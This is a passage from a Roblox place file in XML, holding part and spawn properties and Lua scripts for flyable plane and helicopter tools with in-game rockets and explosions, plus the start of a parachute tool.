				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-1181</X>
					<Y>16.8000011</Y>
					<Z>740</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX5472">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-1177</X>
					<Y>16.8000011</Y>
					<Z>740</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX5473">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1001</int>
				<CoordinateFrame name="CFrame">
					<X>-1179</X>
					<Y>16.8000011</Y>
					<Z>740</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0.800000012</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX5474">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1179.5</X>
					<Y>26.6000004</Y>
					<Z>748</Z>
					<R00>-0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>14</X>
					<Y>1.20000005</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="SpawnLocation" referent="RBX5475">
			<Properties>
				<bool name="AllowTeamChangeOnTouch">false</bool>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>-1160</X>
					<Y>27.8000011</Y>
					<Z>775</Z>
					<R00>-1</R00>
					<R01>0</R01>
					<R02>-0</R02>
					<R10>-0</R10>
					<R11>1</R11>
					<R12>-0</R12>
					<R20>-0</R20>
					<R21>0</R21>
					<R22>-1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<int name="Duration">10</int>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">SpawnLocation</string>
				<bool name="Neutral">false</bool>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<int name="TeamColor">24</int>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX5476">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>rbxasset://Textures/SpawnLocation.png</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="RunService" referent="RBX5477">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">Run Service</string>
		</Properties>
	</Item>
	<Item class="ContentProvider" referent="RBX5478">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="ContentFilter" referent="RBX5479">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">ContentFilter</string>
		</Properties>
	</Item>
	<Item class="KeyframeSequenceProvider" referent="RBX5480">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">Instance</string>
		</Properties>
	</Item>
	<Item class="Players" referent="RBX5481">
		<Properties>
			<bool name="Archivable">true</bool>
			<int name="MaxPlayers">8</int>
			<string name="Name">Players</string>
		</Properties>
	</Item>
	<Item class="StarterPack" referent="RBX5482">
		<Properties>
			<bool name="Archivable">true</bool>
			<string name="Name">StarterPack</string>
		</Properties>
		<Item class="HopperBin" referent="RBX5483">
			<Properties>
				<bool name="Active">false</bool>
				<bool name="Archivable">true</bool>
				<token name="BinType">0</token>
				<string name="Name">Plane</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="IntValue" referent="RBX5484">
				<Properties>
					<bool name="Archivable">true</bool>
					<string name="Name">Reload</string>
					<int name="Value">0</int>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5485">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PlaneFlyer</string>
					<ProtectedString name="Source">bin=script.Parent
plane=nil
hold=false
local debounce = false
local planedebounce = false
local stuntdebounce = false
local controlling = false

function fire(pln,engine)
	--local missile = bin.Rocket:clone()
	--missile.CFrame = spn.CFrame * CFrame.new(0, 0, -35)

	--missile.RocketScript.Disabled = false
	--missile.Parent = game.Workspace

	--local creator_tag = Instance.new(&quot;ObjectValue&quot;)
	--creator_tag.Value = game.Players.LocalPlayer
	--creator_tag.Name = &quot;creator&quot;
	--creator_tag.Parent = missile

	--missile.Owner.Value = pln




	dir = engine.CFrame.lookVector

	
	for i = 1, 50 do
		local ex = Instance.new(&quot;Explosion&quot;)
		ex.BlastRadius = 6
		ex.BlastPressure = 8000000
		ex.Position = engine.Position + (dir * 50) + (dir  * i * 12)
		ex.Parent = game.Workspace
	end


end

function computeDirection(vec)
	local lenSquared = vec.magnitude * vec.magnitude
	local invSqrt = 1 / math.sqrt(lenSquared)
	return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end

function move(target, engine)
	local origincframe = engine:findFirstChild(&quot;BodyGyro&quot;).cframe
	local dir = (target - engine.Position).unit
	local spawnPos = engine.Position

	local pos = spawnPos + (dir * 1)

	engine:findFirstChild(&quot;BodyGyro&quot;).maxTorque = Vector3.new(9000, 9000, 9000)
	engine:findFirstChild(&quot;BodyGyro&quot;).cframe = CFrame.new(pos,  pos + dir)
	wait(0.1)
	engine:findFirstChild(&quot;BodyGyro&quot;).maxTorque = Vector3.new(0, 0, 0)
	engine:findFirstChild(&quot;BodyGyro&quot;).cframe = origincframe
end

function findPlane(player)
	local list = player.Character:GetChildren()
	for x = 1, #list do
		if (list[x].Name == &quot;Plane&quot;) then
			local weld = list[x]:FindFirstChild(&quot;Parts&quot;):FindFirstChild(&quot;Seat&quot;):FindFirstChild(&quot;SeatWeld&quot;)
			if (weld ~= nil) and (weld.Part1 == player.Character:FindFirstChild(&quot;Torso&quot;)) then
				return list[x]
			end
		end
	end
	return nil
end

function onButton1Down(mouse)
	local vehicle = findPlane(script.Parent.Parent.Parent)
	if vehicle ~= nil and debounce == false and planedebounce == false then
	debounce = true

	controlling = true

	while true do
		wait()
		local engine = vehicle.Parts.Engine
		local position = mouse.Hit
		local target = position.p
		if engine:findFirstChild(&quot;FlyScript&quot;) ~= nil then
		move(target, engine)
		end
		if planedebounce == true or
		controlling == false then break end
	end
	wait(.1)
	debounce = false
	end
end

function onButton1Up(mouse)
	controlling = false
end

function onSelected(mouse)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(function() onButton1Up(mouse) end)
	mouse.KeyDown:connect(onKeyDown)
end

function onKeyDown(key)
	if (key~=nil) then
		key = key:lower()
		local vehicle = findPlane(script.Parent.Parent.Parent)
		if (vehicle==nil) then return end
		plane = vehicle.Parts
		local engine = vehicle.Parts.Engine
			if (key==&quot;f&quot;) and (bin.Reload.Value == 0) then
				fire(vehicle,plane.Gun1)
				fire(vehicle,plane.Gun2)
				bin.Reload.Value = 1
				wait(0)
				bin.Reload.Value = 0
			end
			if (key==&quot;x&quot;) and planedebounce == false then
				local power = plane.Engine:findFirstChild(&quot;FlyScript&quot;)
				if (power ~= nil) then
				power:remove()
				end
			end
			if (key==&quot;y&quot;) then
				local power = plane.Engine:findFirstChild(&quot;FlyScript&quot;)
				if (power ~= nil) then return end
				local fly = script.FlyScript:clone()
				fly.Disabled = false
				fly.Parent = plane.Engine
			end
			if (key==&quot;k&quot;) and planedebounce == false then
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y -0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y -0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y -0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y -0.7, 0)
			end
			if (key==&quot;h&quot;) and planedebounce == false then
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y +0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y +0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y +0.7, 0)
				wait()
				engine.RotVelocity = Vector3.new(0, engine.RotVelocity.y +0.7, 0)
			return end
			if (key==&quot;j&quot;) and planedebounce == false then
				local body = plane.Engine.BodyGyro
				body.maxTorque = Vector3.new(9000, 9000, 9000)

				local position = engine.CFrame * Vector3.new(0, 0.5, -4)
				local dir = position - engine.Position

				dir = computeDirection(dir)

				local spawnPos = engine.Position

				local pos = spawnPos + (dir * 8)

				body.cframe = CFrame.new(pos,  pos + dir)
				wait(.2)
				body.maxTorque = Vector3.new(0, 0, 0)
			end
			if (key==&quot;l&quot;) and planedebounce == false then
				local body = plane.Engine.BodyGyro
				body.maxTorque = Vector3.new(9000, 0, 0)
				local frame = plane:FindFirstChild(&quot;OriginCFrame&quot;)
				if frame ~= nil then
					body.cframe = frame.Value
				end
				wait(0.1)
				body.maxTorque = Vector3.new(0, 0, 0)
			end
			if (key==&quot;u&quot;) and planedebounce == false then
				local body = plane.Engine.BodyGyro
				body.maxTorque = Vector3.new(9000, 9000, 9000)

				local position = engine.CFrame * Vector3.new(0, -0.5, -4)
				local dir = position - engine.Position

				dir = computeDirection(dir)

				local spawnPos = engine.Position

				local pos = spawnPos + (dir * 8)

				body.cframe = CFrame.new(pos,  pos + dir)
				wait(.2)
				body.maxTorque = Vector3.new(0, 0, 0)
			end
			if (key==&quot;g&quot;) and planedebounce == false and stuntdebounce == false then
				planedebounce = true
				stuntdebounce = true
				plane.Parent.Stunt.Value = 1
				local body = plane.Engine.BodyGyro
				body.maxTorque = Vector3.new(9000, 9000, 9000)

				local currentframe = plane.Engine.CFrame

				for i = 1,6 do
				body.cframe = plane.Engine.CFrame * CFrame.fromEulerAnglesXYZ(0, 0, 30)
				wait(.2)
				end

				body.cframe = currentframe
				wait(.6)

				body.maxTorque = Vector3.new(0, 0, 0)
				planedebounce = false
				plane.Parent.Stunt.Value = 0
				wait(3)
				stuntdebounce = false
			end
			if (key==&quot;t&quot;) and planedebounce == false and stuntdebounce == false then
				planedebounce = true
				stuntdebounce = true
				plane.Parent.Stunt.Value = 1
				local body = plane.Engine.BodyGyro
				body.maxTorque = Vector3.new(9000, 9000, 9000)

				local currentframe = plane.Engine.CFrame
				local valy = 30
				local valz = 30

				for i = 1,8 do
				body.cframe = currentframe * CFrame.fromEulerAnglesXYZ(0, valy, valz)
				valy = valy +50
				valz = valz +100
				wait(.1)
				end

				body.cframe = currentframe * CFrame.fromEulerAnglesXYZ(0, 600, 0)

				wait(.5)

				body.maxTorque = Vector3.new(0, 0, 0)
				planedebounce = false
				plane.Parent.Stunt.Value = 0
				wait(4)
				stuntdebounce = false
			end
	end
end

bin.Selected:connect(onSelected)
</ProtectedString>
				</Properties>
				<Item class="Script" referent="RBX5486">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">FlyScript</string>
						<ProtectedString name="Source">local engine = script.Parent.Parent.Engine
local spd = 3
local position = engine.Position

while true do
	wait(.1)
	direction = engine.CFrame.lookVector 
	position = position + spd*3*direction
	error = position - engine.Position
	engine.Velocity = spd*error
	engine.RotVelocity = Vector3.new(0, 0, 0)
end 
</ProtectedString>
					</Properties>
				</Item>
			</Item>
		</Item>
		<Item class="HopperBin" referent="RBX5487">
			<Properties>
				<bool name="Active">false</bool>
				<bool name="Archivable">true</bool>
				<token name="BinType">0</token>
				<string name="Name">Heli</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Script" referent="RBX5488">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Rocket</string>
					<ProtectedString name="Source">function onHit()
	e = Instance.new(&quot;Explosion&quot;)
	e.Parent = game.Workspace
	e.Position = script.Parent.Position
	e.BlastRadius = 4
	e.BlastPressure = 250000
	script.Parent:Remove()
end

script.Parent.Touched:connect(onHit)

wait(10)

script.Parent:Remove()
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5489">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">Heli Flier</string>
					<ProtectedString name="Source">fly = false
turn = false
fire = true
a = 50
hover = false

function onFire(gun)
	local b = Instance.new(&quot;Part&quot;)
	b.Parent = game.Workspace
	b.CFrame = gun.CFrame + (gun.CFrame.lookVector * 20)
	b.formFactor = 2
	b.Size = Vector3.new(1,1,4)
	b.TopSurface = 0
	b.BottomSurface = 0
	b.BrickColor = BrickColor.new(149)
	b.Reflectance = 0
	b.Name = &quot;Rocket&quot;
	local bv = Instance.new(&quot;BodyVelocity&quot;)
	bv.velocity = gun.CFrame.lookVector * 200
	bv.Parent = b
	local s = script.Parent.Rocket:Clone()
	s.Disabled = false
	s.Parent = b
	local f = Instance.new(&quot;Fire&quot;)
	f.Parent = b
	f.Size = 4
end

function onButton1Down(mouse)
	if fly == true then
		turn = true
		while turn == true do
			if heli ~= nil then
				if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
					heli.Parts.Engine.BodyGyro.cframe = mouse.Hit
				end
			end
			wait(0.1)
		end
	end
end

function onButton1Up()
	turn = false
end

function onKeyDown(key)
	key:lower()
	if key == &quot;y&quot; and fly == false and script.Parent.Parent.Parent.Character:FindFirstChild(&quot;Helicopter&quot;) ~= nil then
		fly = true
		heli = script.Parent.Parent.Parent.Character.Helicopter
		if heli.Parts:FindFirstChild(&quot;Motor1&quot;) ~= nil then
			heli.Parts.Motor1.BottomSurfaceInput = &quot;Constant&quot;
		end
		if heli.Parts:FindFirstChild(&quot;Motor2&quot;) ~= nil then
			heli.Parts.Motor2.BottomSurfaceInput = &quot;Constant&quot;
		end
		if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
			heli.Parts.Engine.BodyVelocity.maxForce = Vector3.new(1e+009,1e+009,1e+009)
			heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,5,0)
			wait(4)
			heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,0,0)
		end
	elseif key == &quot;x&quot; and fly == true then
		fly = false
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.maxForce = Vector3.new(0,0,0)
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,0,0)
				
			end
			if heli.Parts:FindFirstChild(&quot;Motor1&quot;) ~= nil then
				heli.Parts.Motor1.BottomSurfaceInput = &quot;NoInput&quot;
			end
			if heli.Parts:FindFirstChild(&quot;Motor2&quot;) ~= nil then
				heli.Parts.Motor2.BottomSurfaceInput = &quot;NoInput&quot;
			end
		end
	elseif key == &quot;w&quot; and fly == true then
		hover = false
		while fly == true do
			if hover == false then
				if heli ~= nil then
					if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
						heli.Parts.Engine.BodyVelocity.velocity = heli.Parts.Engine.CFrame.lookVector * a
					end
				end
			end
			wait(0.1)
		end
	elseif key == &quot;s&quot; and fly == true then
		hover = true
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,0,0)
			end
		end
	elseif key == &quot;m&quot; then
		if a &lt; 1000 then
			a = a + 20
		end
	elseif key == &quot;n&quot; then
		if a &gt; 5 then
			a = a - 20
		end
	elseif key == &quot;f&quot; and fly == true then
		if fire == true then
			fire = false
			local gun1 = heli.Parts:FindFirstChild(&quot;Gun1&quot;)
			local gun2 = heli.Parts:FindFirstChild(&quot;Gun2&quot;)
			local gun3 = heli.Parts:FindFirstChild(&quot;Gun3&quot;)
			local gun4 = heli.Parts:FindFirstChild(&quot;Gun4&quot;)
			if gun1 ~= nil then
				onFire(gun1)
			end
			wait(0.1)
			if gun2 ~= nil then
				onFire(gun2)
			end
			wait(0.1)
			if gun3 ~= nil then
				onFire(gun3)
			end
			wait(0.1)
			if gun4 ~= nil then
				onFire(gun4)
			end
			wait(0.7)
			fire = true
		end
	elseif key == &quot;e&quot; and fly == true then
		hover = true
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,10,0)
			end
		end
		wait(4)
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,0,0)
			end
		end
	elseif key == &quot;q&quot; and fly == true then
		hover = true
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,-10,0)
			end
		end
		wait(4)
		if heli ~= nil then
			if heli.Parts:FindFirstChild(&quot;Engine&quot;) ~= nil then
				heli.Parts.Engine.BodyVelocity.velocity = Vector3.new(0,0,0)
			end
		end
	end
end

function onSelect(mouse)
	mouse.Icon = &quot;rbxasset://textures\\GunCursor.png&quot;
	mouse.Button1Down:connect(function() onButton1Down(mouse) end)
	mouse.Button1Up:connect(onButton1Up)
	mouse.KeyDown:connect(onKeyDown)
end

script.Parent.Selected:connect(onSelect)
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX5490">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">PUT THIS IN THE WEAPON</string>
					<ProtectedString name="Source">local debounce = false

function getPlayer(humanoid) 
local players = game.Players:children() 
for i = 1, #players do 
if players[i].Character.Humanoid == humanoid then return players[i] end 
end 
return nil 
end 

function onTouch(part) 

local human = part.Parent:findFirstChild(&quot;Humanoid&quot;) 
if (human ~= nil) and debounce == false then

debounce = true

local player = getPlayer(human) 

if (player == nil) then return end 

script.Parent:clone().Parent = player.Backpack

wait(2)
debounce = false
end
end


script.Parent.Parent.Touched:connect(onTouch) 
</ProtectedString>
				</Properties>
			</Item>
		</Item>
		<Item class="Tool" referent="RBX5491">
			<Properties>
				<bool name="Archivable">true</bool>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Parachute</string>
				<Content name="TextureId"><null></null></Content>
			</Properties>
			<Item class="Part" referent="RBX5492">
				<Properties>
					<bool name="Anchored">false</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-6.12695313</X>
						<Y>3761.54785</Y>
						<Z>22.3229828</Z>
						<R00>-0.37263149</R00>
						<R01>-0.796100974</R01>
						<R02>0.476828873</R02>
						<R10>0.840730131</R10>
						<R11>-0.0721046627</R11>
						<R12>0.536629319</R12>
						<R20>-0.39283067</R20>
						<R21>0.600849628</R21>
						<R22>0.696176648</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0.0760187507</X>
						<Y>-0.23714003</Y>
						<Z>-0.0408286937</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>-0.21557045</X>
						<Y>0.43879056</Y>
						<Z>0.181450278</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>3</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX5493">
					<Properties>
						<bool name="Archivable">true</bool>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">0</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>0.125</X>
							<Y>0.916666687</Y>
							<Z>0.125</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Weld" referent="RBX5494">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
